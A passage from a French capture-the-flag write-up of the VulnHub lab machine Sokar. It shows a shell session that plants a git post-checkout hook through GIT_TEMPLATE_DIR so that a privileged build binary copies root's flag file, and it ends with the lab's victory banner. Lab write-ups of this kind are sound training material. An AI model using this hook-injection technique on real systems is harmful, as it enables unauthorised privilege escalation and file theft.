| |/\/\/\/\/\/\/\/\/\/\/\/| |
_|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
| |
| V u l n H u b ! ! |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|
=====================================
| Congratulations on beating Sokar! |
| |
| Massive shoutout to g0tmi1k and |
| the entire community which makes |
| VulnHub possible! |
| |
| rasta_mouse (@_RastaMouse) |
=====================================
L’autre solution sans doute plus propre et de définir un hook Git qui concerne la commande clone, en particulier post-checkout
.
Comme on n’a pas d’accès pour écrire directement dans les hooks on fait une copie du dossier et on spécifie le chemin en environnement :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[apophis@sokar ~]$ cp -r /usr/share/git-core/templates/ mytemplates
[apophis@sokar ~]$ cd mytemplates/hooks
[apophis@sokar hooks]$ echo '#!/bin/bash' > post-checkout
[apophis@sokar hooks]$ echo 'cp /root/flag /tmp/flag2' >> post-checkout
[apophis@sokar hooks]$ echo 'chown apophis.apophis /tmp/flag2' >> post-checkout
[apophis@sokar hooks]$ chmod +x post-checkout
[apophis@sokar hooks]$ cd ../..
[apophis@sokar ~]$ GIT_TEMPLATE_DIR=/home/apophis/mytemplates/ ./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
Password: p4ssw0rd
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 0 (delta 0) s
Receiving objects: 100% (4/4), 1.13 MiB | 350.00 KiB/s, done.
Checking connectivity... done.
[apophis@sokar ~]$ ls -l /tmp/flag2
-rw-r--r-- 1 apophis apophis 837 Mar 10 21:18 /tmp/flag2
Victory ! Conclusion de tout ça : l’IPv6 ça a du bon :p
Published March 13 2015 at 18:03